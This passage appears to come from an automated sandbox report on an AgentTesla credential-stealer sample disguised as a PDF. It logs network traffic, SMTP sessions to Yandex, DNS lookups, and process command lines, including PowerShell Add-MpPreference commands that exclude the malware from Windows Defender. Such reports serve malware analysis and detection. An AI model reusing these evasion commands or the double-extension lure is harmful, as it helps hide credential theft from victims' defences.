Dec 6, 2024 10:01:46.085779905 CET	587	49728	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:46.085789919 CET	587	49728	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:46.085827112 CET	49728	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:46.085839033 CET	49728	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:46.085863113 CET	587	49728	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:46.085872889 CET	587	49728	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:46.085912943 CET	49728	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:46.085927963 CET	49728	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:46.085958004 CET	587	49728	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:46.085968018 CET	587	49728	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:46.086016893 CET	49728	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:46.086026907 CET	587	49728	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:46.086072922 CET	49728	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:46.202270031 CET	587	49728	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:46.202320099 CET	49728	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:46.205423117 CET	587	49728	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:46.205476046 CET	49728	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:46.205504894 CET	587	49728	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:46.205553055 CET	587	49728	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:46.205562115 CET	49728	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:46.205595970 CET	49728	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:46.205676079 CET	587	49728	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:46.205687046 CET	587	49728	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:46.205723047 CET	49728	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:46.205751896 CET	587	49728	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:46.205754042 CET	49728	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:46.205797911 CET	49728	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:46.205802917 CET	587	49728	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:46.205840111 CET	49728	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:46.205888987 CET	587	49728	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:46.205929041 CET	587	49728	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:46.205933094 CET	49728	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:46.205971956 CET	49728	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:46.206067085 CET	587	49728	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:46.206119061 CET	49728	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:46.249032974 CET	587	49728	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:46.249092102 CET	49728	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:46.322384119 CET	587	49728	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:46.322447062 CET	49728	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:46.325489044 CET	587	49728	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:46.325540066 CET	49728	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:46.325655937 CET	587	49728	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:46.325726032 CET	49728	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:46.325753927 CET	587	49728	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:46.325809002 CET	49728	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:46.325839043 CET	587	49728	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:46.325879097 CET	587	49728	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:46.325889111 CET	587	49728	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:46.325982094 CET	587	49728	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:46.326001883 CET	49728	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:46.326024055 CET	587	49728	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:46.326111078 CET	587	49728	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:46.326152086 CET	587	49728	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:46.326231956 CET	587	49728	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:46.326241970 CET	587	49728	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:46.326312065 CET	587	49728	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:46.326322079 CET	587	49728	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:46.326431036 CET	587	49728	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:46.326442003 CET	587	49728	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:46.326459885 CET	587	49728	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:46.326498985 CET	587	49728	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:46.326581955 CET	587	49728	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:46.326592922 CET	587	49728	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:46.326626062 CET	587	49728	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:46.326684952 CET	587	49728	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:46.326739073 CET	587	49728	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:46.326798916 CET	587	49728	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:46.326808929 CET	587	49728	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:46.368930101 CET	587	49728	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:46.369050026 CET	587	49728	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:46.442338943 CET	587	49728	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:46.442356110 CET	587	49728	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:46.442372084 CET	587	49728	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:46.442385912 CET	587	49728	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:46.445242882 CET	587	49728	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:46.445283890 CET	587	49728	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:46.445353985 CET	587	49728	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:46.445363998 CET	587	49728	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:46.445487976 CET	587	49728	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:46.445499897 CET	587	49728	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:46.445595980 CET	587	49728	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:46.445607901 CET	587	49728	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:46.445723057 CET	587	49728	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:46.445732117 CET	587	49728	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:46.445830107 CET	587	49728	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:46.445839882 CET	587	49728	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:46.445875883 CET	587	49728	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:47.472491980 CET	587	49728	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:47.516925097 CET	49728	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:56.564415932 CET	49728	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:56.684164047 CET	587	49728	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:57.012599945 CET	587	49728	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:57.012672901 CET	587	49728	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:57.012712002 CET	49728	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:57.013453007 CET	49728	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:57.015892982 CET	49729	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:57.133325100 CET	587	49728	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:57.135802031 CET	587	49729	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:57.135950089 CET	49729	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:58.641333103 CET	587	49729	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:58.678913116 CET	49729	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:58.798820019 CET	587	49729	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:59.130197048 CET	587	49729	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:59.130343914 CET	49729	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:59.250112057 CET	587	49729	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:59.580024958 CET	587	49729	77.88.21.158	192.168.2.8
Dec 6, 2024 10:01:59.580395937 CET	49729	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:01:59.700215101 CET	587	49729	77.88.21.158	192.168.2.8
Dec 6, 2024 10:02:00.031255960 CET	587	49729	77.88.21.158	192.168.2.8
Dec 6, 2024 10:02:00.031286955 CET	587	49729	77.88.21.158	192.168.2.8
Dec 6, 2024 10:02:00.031301975 CET	587	49729	77.88.21.158	192.168.2.8
Dec 6, 2024 10:02:00.031341076 CET	587	49729	77.88.21.158	192.168.2.8
Dec 6, 2024 10:02:00.031352997 CET	49729	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:02:00.031388998 CET	49729	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:02:00.033219099 CET	49729	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:02:00.152947903 CET	587	49729	77.88.21.158	192.168.2.8
Dec 6, 2024 10:02:00.482732058 CET	587	49729	77.88.21.158	192.168.2.8
Dec 6, 2024 10:02:00.483952045 CET	49729	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:02:00.603759050 CET	587	49729	77.88.21.158	192.168.2.8
Dec 6, 2024 10:02:00.936158895 CET	587	49729	77.88.21.158	192.168.2.8
Dec 6, 2024 10:02:00.936403990 CET	49729	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:02:01.056515932 CET	587	49729	77.88.21.158	192.168.2.8
Dec 6, 2024 10:02:01.064589977 CET	49729	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:02:01.115850925 CET	49730	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:02:01.185018063 CET	587	49729	77.88.21.158	192.168.2.8
Dec 6, 2024 10:02:01.186456919 CET	49729	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:02:01.235713005 CET	587	49730	77.88.21.158	192.168.2.8
Dec 6, 2024 10:02:01.238338947 CET	49730	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:02:02.613713980 CET	587	49730	77.88.21.158	192.168.2.8
Dec 6, 2024 10:02:02.751725912 CET	49730	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:02:04.110584021 CET	49730	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:02:04.110727072 CET	49730	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:02:04.170556068 CET	49731	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:02:04.230304956 CET	587	49730	77.88.21.158	192.168.2.8
Dec 6, 2024 10:02:04.230772972 CET	587	49730	77.88.21.158	192.168.2.8
Dec 6, 2024 10:02:04.230825901 CET	49730	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:02:04.290254116 CET	587	49731	77.88.21.158	192.168.2.8
Dec 6, 2024 10:02:04.290330887 CET	49731	587	192.168.2.8	77.88.21.158
Dec 6, 2024 10:02:05.583281994 CET	587	49731	77.88.21.158	192.168.2.8
Dec 6, 2024 10:02:05.626781940 CET	49731	587	192.168.2.8	77.88.21.158

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 6, 2024 09:57:57.841480017 CET	62274	53	192.168.2.8	1.1.1.1
Dec 6, 2024 09:57:57.978837967 CET	53	62274	1.1.1.1	192.168.2.8
Dec 6, 2024 09:58:00.639055967 CET	51948	53	192.168.2.8	1.1.1.1
Dec 6, 2024 09:58:00.871653080 CET	53	51948	1.1.1.1	192.168.2.8

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 6, 2024 09:57:57.841480017 CET	192.168.2.8	1.1.1.1	0x6652	Standard query (0)	api.ipify.org	A (IP address)	IN (0x0001)	false
Dec 6, 2024 09:58:00.639055967 CET	192.168.2.8	1.1.1.1	0x9daa	Standard query (0)	smtp.yandex.ru	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Dec 6, 2024 09:57:57.978837967 CET	1.1.1.1	192.168.2.8	0x6652	No error (0)	api.ipify.org	104.26.13.205	A (IP address)	IN (0x0001)	false
Dec 6, 2024 09:57:57.978837967 CET	1.1.1.1	192.168.2.8	0x6652	No error (0)	api.ipify.org	172.67.74.152	A (IP address)	IN (0x0001)	false
Dec 6, 2024 09:57:57.978837967 CET	1.1.1.1	192.168.2.8	0x6652	No error (0)	api.ipify.org	104.26.12.205	A (IP address)	IN (0x0001)	false
Dec 6, 2024 09:58:00.871653080 CET	1.1.1.1	192.168.2.8	0x9daa	No error (0)	smtp.yandex.ru	77.88.21.158	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

api.ipify.org

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49709	104.26.13.205	443	8048	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-06 08:57:59 UTC	155	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0 Host: api.ipify.org Connection: Keep-Alive
2024-12-06 08:57:59 UTC	424	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 08:57:59 GMT Content-Type: text/plain Content-Length: 12 Connection: close Vary: Origin CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 8edb12539f7b0fa9-EWR server-timing: cfL4;desc="?proto=TCP&rtt=1602&min_rtt=1595&rtt_var=603&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2820&recv_bytes=769&delivery_rate=1830721&cwnd=252&unsent_bytes=0&cid=cbbf369ebed597c3&ts=560&x=0"
2024-12-06 08:57:59 UTC	12	IN	Data Raw: 38 2e 34 36 2e 31 32 33 2e 32 32 38 Data Ascii: 8.46.123.228

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49713	104.26.13.205	443	1608	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-06 08:58:05 UTC	155	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0 Host: api.ipify.org Connection: Keep-Alive
2024-12-06 08:58:05 UTC	425	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 08:58:05 GMT Content-Type: text/plain Content-Length: 12 Connection: close Vary: Origin CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 8edb12786ac04373-EWR server-timing: cfL4;desc="?proto=TCP&rtt=1554&min_rtt=1553&rtt_var=586&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2819&recv_bytes=769&delivery_rate=1862244&cwnd=232&unsent_bytes=0&cid=ece305e22fc1a9d4&ts=1276&x=0"
2024-12-06 08:58:05 UTC	12	IN	Data Raw: 38 2e 34 36 2e 31 32 33 2e 32 32 38 Data Ascii: 8.46.123.228

SMTP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP	Commands
Dec 6, 2024 09:58:02.258879900 CET	587	49711	77.88.21.158	192.168.2.8	220 mail-nwsmtp-smtp-production-main-95.klg.yp-c.yandex.net Ok 1733475482-1wdpmS0OgSw0
Dec 6, 2024 09:58:02.259371996 CET	49711	587	192.168.2.8	77.88.21.158	EHLO 932923
Dec 6, 2024 09:58:02.704390049 CET	587	49711	77.88.21.158	192.168.2.8	250-mail-nwsmtp-smtp-production-main-95.klg.yp-c.yandex.net 250-8BITMIME 250-PIPELINING 250-SIZE 53477376 250-STARTTLS 250-AUTH LOGIN PLAIN XOAUTH2 250-DSN 250 ENHANCEDSTATUSCODES
Dec 6, 2024 09:58:02.704605103 CET	49711	587	192.168.2.8	77.88.21.158	STARTTLS
Dec 6, 2024 09:58:03.148261070 CET	587	49711	77.88.21.158	192.168.2.8	220 Go ahead
Dec 6, 2024 09:58:07.788992882 CET	587	49714	77.88.21.158	192.168.2.8	220 mail-nwsmtp-smtp-production-main-42.myt.yp-c.yandex.net Ok 1733475487-7wdt1X0OkeA0
Dec 6, 2024 09:58:07.851206064 CET	49714	587	192.168.2.8	77.88.21.158	EHLO 932923
Dec 6, 2024 09:58:08.292675972 CET	587	49714	77.88.21.158	192.168.2.8	250-mail-nwsmtp-smtp-production-main-42.myt.yp-c.yandex.net 250-8BITMIME 250-PIPELINING 250-SIZE 53477376 250-STARTTLS 250-AUTH LOGIN PLAIN XOAUTH2 250-DSN 250 ENHANCEDSTATUSCODES
Dec 6, 2024 09:58:08.292859077 CET	49714	587	192.168.2.8	77.88.21.158	STARTTLS
Dec 6, 2024 09:58:08.735126019 CET	587	49714	77.88.21.158	192.168.2.8	220 Go ahead
Dec 6, 2024 09:59:40.752027035 CET	587	49717	77.88.21.158	192.168.2.8	220 mail-nwsmtp-smtp-production-main-73.iva.yp-c.yandex.net Ok 1733475580-exdJkR0OcKo0
Dec 6, 2024 09:59:40.754328012 CET	49717	587	192.168.2.8	77.88.21.158	EHLO 932923
Dec 6, 2024 09:59:41.197756052 CET	587	49717	77.88.21.158	192.168.2.8	250-mail-nwsmtp-smtp-production-main-73.iva.yp-c.yandex.net 250-8BITMIME 250-PIPELINING 250-SIZE 53477376 250-STARTTLS 250-AUTH LOGIN PLAIN XOAUTH2 250-DSN 250 ENHANCEDSTATUSCODES
Dec 6, 2024 09:59:41.197930098 CET	49717	587	192.168.2.8	77.88.21.158	STARTTLS
Dec 6, 2024 09:59:41.641289949 CET	587	49717	77.88.21.158	192.168.2.8	220 Go ahead
Dec 6, 2024 09:59:45.472902060 CET	587	49718	77.88.21.158	192.168.2.8	220 mail-nwsmtp-smtp-production-main-81.myt.yp-c.yandex.net Ok 1733475585-jxdB9T0OeSw0
Dec 6, 2024 09:59:45.473053932 CET	49718	587	192.168.2.8	77.88.21.158	EHLO 932923
Dec 6, 2024 09:59:45.910792112 CET	587	49718	77.88.21.158	192.168.2.8	250-mail-nwsmtp-smtp-production-main-81.myt.yp-c.yandex.net 250-8BITMIME 250-PIPELINING 250-SIZE 53477376 250-STARTTLS 250-AUTH LOGIN PLAIN XOAUTH2 250-DSN 250 ENHANCEDSTATUSCODES
Dec 6, 2024 09:59:45.914331913 CET	49718	587	192.168.2.8	77.88.21.158	STARTTLS
Dec 6, 2024 09:59:46.352365971 CET	587	49718	77.88.21.158	192.168.2.8	220 Go ahead
Dec 6, 2024 10:00:05.703500032 CET	587	49719	77.88.21.158	192.168.2.8	220 mail-nwsmtp-smtp-production-canary-88.sas.yp-c.yandex.net Ok 1733475605-50e6nt0Ola60
Dec 6, 2024 10:00:05.703707933 CET	49719	587	192.168.2.8	77.88.21.158	EHLO 932923
Dec 6, 2024 10:00:06.209274054 CET	587	49719	77.88.21.158	192.168.2.8	250-mail-nwsmtp-smtp-production-canary-88.sas.yp-c.yandex.net 250-8BITMIME 250-PIPELINING 250-SIZE 53477376 250-STARTTLS 250-AUTH LOGIN PLAIN XOAUTH2 250-DSN 250 ENHANCEDSTATUSCODES
Dec 6, 2024 10:00:06.209403992 CET	49719	587	192.168.2.8	77.88.21.158	STARTTLS
Dec 6, 2024 10:00:06.716888905 CET	587	49719	77.88.21.158	192.168.2.8	220 Go ahead
Dec 6, 2024 10:00:09.193243980 CET	587	49720	77.88.21.158	192.168.2.8	220 mail-nwsmtp-smtp-production-main-25.sas.yp-c.yandex.net Ok 1733475608-80eCbl0OkCg0
Dec 6, 2024 10:00:09.193545103 CET	49720	587	192.168.2.8	77.88.21.158	EHLO 932923
Dec 6, 2024 10:00:10.885482073 CET	587	49721	77.88.21.158	192.168.2.8	220 mail-nwsmtp-smtp-production-main-81.myt.yp-c.yandex.net Ok 1733475610-A0elLT0Oha60
Dec 6, 2024 10:00:10.885656118 CET	49721	587	192.168.2.8	77.88.21.158	EHLO 932923
Dec 6, 2024 10:00:11.318614006 CET	587	49721	77.88.21.158	192.168.2.8	250-mail-nwsmtp-smtp-production-main-81.myt.yp-c.yandex.net 250-8BITMIME 250-PIPELINING 250-SIZE 53477376 250-STARTTLS 250-AUTH LOGIN PLAIN XOAUTH2 250-DSN 250 ENHANCEDSTATUSCODES
Dec 6, 2024 10:00:11.318835974 CET	49721	587	192.168.2.8	77.88.21.158	STARTTLS
Dec 6, 2024 10:00:11.751651049 CET	587	49721	77.88.21.158	192.168.2.8	220 Go ahead
Dec 6, 2024 10:00:16.006701946 CET	587	49724	77.88.21.158	192.168.2.8	220 mail-nwsmtp-smtp-production-main-92.myt.yp-c.yandex.net Ok 1733475615-F0emQQ0OdSw0
Dec 6, 2024 10:00:16.006851912 CET	49724	587	192.168.2.8	77.88.21.158	EHLO 932923
Dec 6, 2024 10:00:16.459825993 CET	587	49724	77.88.21.158	192.168.2.8	250-mail-nwsmtp-smtp-production-main-92.myt.yp-c.yandex.net 250-8BITMIME 250-PIPELINING 250-SIZE 53477376 250-STARTTLS 250-AUTH LOGIN PLAIN XOAUTH2 250-DSN 250 ENHANCEDSTATUSCODES
Dec 6, 2024 10:00:16.459983110 CET	49724	587	192.168.2.8	77.88.21.158	STARTTLS
Dec 6, 2024 10:00:16.920770884 CET	587	49724	77.88.21.158	192.168.2.8	220 Go ahead
Dec 6, 2024 10:01:03.400199890 CET	587	49725	77.88.21.158	192.168.2.8	220 mail-nwsmtp-smtp-production-main-84.vla.yp-c.yandex.net Ok 1733475663-31e08a0OdW20
Dec 6, 2024 10:01:03.400387049 CET	49725	587	192.168.2.8	77.88.21.158	EHLO 932923
Dec 6, 2024 10:01:03.844084024 CET	587	49725	77.88.21.158	192.168.2.8	250-mail-nwsmtp-smtp-production-main-84.vla.yp-c.yandex.net 250-8BITMIME 250-PIPELINING 250-SIZE 53477376 250-STARTTLS 250-AUTH LOGIN PLAIN XOAUTH2 250-DSN 250 ENHANCEDSTATUSCODES
Dec 6, 2024 10:01:03.844413042 CET	49725	587	192.168.2.8	77.88.21.158	STARTTLS
Dec 6, 2024 10:01:04.287841082 CET	587	49725	77.88.21.158	192.168.2.8	220 Go ahead
Dec 6, 2024 10:01:19.813443899 CET	587	49726	77.88.21.158	192.168.2.8	220 mail-nwsmtp-smtp-production-main-77.klg.yp-c.yandex.net Ok 1733475679-J1eOkY0OcSw0
Dec 6, 2024 10:01:19.813644886 CET	49726	587	192.168.2.8	77.88.21.158	EHLO 932923
Dec 6, 2024 10:01:20.253623009 CET	587	49726	77.88.21.158	192.168.2.8	250-mail-nwsmtp-smtp-production-main-77.klg.yp-c.yandex.net 250-8BITMIME 250-PIPELINING 250-SIZE 53477376 250-STARTTLS 250-AUTH LOGIN PLAIN XOAUTH2 250-DSN 250 ENHANCEDSTATUSCODES
Dec 6, 2024 10:01:20.253770113 CET	49726	587	192.168.2.8	77.88.21.158	STARTTLS
Dec 6, 2024 10:01:20.693733931 CET	587	49726	77.88.21.158	192.168.2.8	220 Go ahead
Dec 6, 2024 10:01:29.462974072 CET	587	49727	77.88.21.158	192.168.2.8	220 mail-nwsmtp-smtp-production-main-64.vla.yp-c.yandex.net Ok 1733475689-S1e1Dh0OeiE0
Dec 6, 2024 10:01:29.465564966 CET	49727	587	192.168.2.8	77.88.21.158	EHLO 932923
Dec 6, 2024 10:01:29.916305065 CET	587	49727	77.88.21.158	192.168.2.8	250-mail-nwsmtp-smtp-production-main-64.vla.yp-c.yandex.net 250-8BITMIME 250-PIPELINING 250-SIZE 53477376 250-STARTTLS 250-AUTH LOGIN PLAIN XOAUTH2 250-DSN 250 ENHANCEDSTATUSCODES
Dec 6, 2024 10:01:29.921351910 CET	49727	587	192.168.2.8	77.88.21.158	STARTTLS
Dec 6, 2024 10:01:30.379811049 CET	587	49727	77.88.21.158	192.168.2.8	220 Go ahead
Dec 6, 2024 10:01:41.320658922 CET	587	49728	77.88.21.158	192.168.2.8	220 mail-nwsmtp-smtp-production-main-91.sas.yp-c.yandex.net Ok 1733475701-e1exRY0Of4Y0
Dec 6, 2024 10:01:41.320804119 CET	49728	587	192.168.2.8	77.88.21.158	EHLO 932923
Dec 6, 2024 10:01:41.769030094 CET	587	49728	77.88.21.158	192.168.2.8	250-mail-nwsmtp-smtp-production-main-91.sas.yp-c.yandex.net 250-8BITMIME 250-PIPELINING 250-SIZE 53477376 250-STARTTLS 250-AUTH LOGIN PLAIN XOAUTH2 250-DSN 250 ENHANCEDSTATUSCODES
Dec 6, 2024 10:01:41.773201942 CET	49728	587	192.168.2.8	77.88.21.158	STARTTLS
Dec 6, 2024 10:01:42.221472025 CET	587	49728	77.88.21.158	192.168.2.8	220 Go ahead
Dec 6, 2024 10:01:58.641333103 CET	587	49729	77.88.21.158	192.168.2.8	220 mail-nwsmtp-smtp-production-main-72.klg.yp-c.yandex.net Ok 1733475718-w1euTa0OjW20
Dec 6, 2024 10:01:58.678913116 CET	49729	587	192.168.2.8	77.88.21.158	EHLO 932923
Dec 6, 2024 10:01:59.130197048 CET	587	49729	77.88.21.158	192.168.2.8	250-mail-nwsmtp-smtp-production-main-72.klg.yp-c.yandex.net 250-8BITMIME 250-PIPELINING 250-SIZE 53477376 250-STARTTLS 250-AUTH LOGIN PLAIN XOAUTH2 250-DSN 250 ENHANCEDSTATUSCODES
Dec 6, 2024 10:01:59.130343914 CET	49729	587	192.168.2.8	77.88.21.158	STARTTLS
Dec 6, 2024 10:01:59.580024958 CET	587	49729	77.88.21.158	192.168.2.8	220 Go ahead
Dec 6, 2024 10:02:02.613713980 CET	587	49730	77.88.21.158	192.168.2.8	220 mail-nwsmtp-smtp-production-main-31.vla.yp-c.yandex.net Ok 1733475722-22e7Yq0OmiE0
Dec 6, 2024 10:02:04.110584021 CET	49730	587	192.168.2.8	77.88.21.158	EHLO 932923
Dec 6, 2024 10:02:05.583281994 CET	587	49731	77.88.21.158	192.168.2.8	220 mail-nwsmtp-smtp-production-main-31.sas.yp-c.yandex.net Ok 1733475725-52e6fl0OjGk0

Target ID:	0
Start time:	03:57:53
Start date:	06/12/2024
Path:	C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe"
Imagebase:	0xf80000
File size:	785'408 bytes
MD5 hash:	2293CE96EC6BF9E7D7214091D74E4C35
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.1429937716.0000000004B82000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000000.00000002.1429937716.0000000004B82000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	03:57:55
Start date:	06/12/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe"
Imagebase:	0xf30000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	03:57:55
Start date:	06/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	03:57:55
Start date:	06/12/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\vmPeKTe.exe"
Imagebase:	0xf30000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

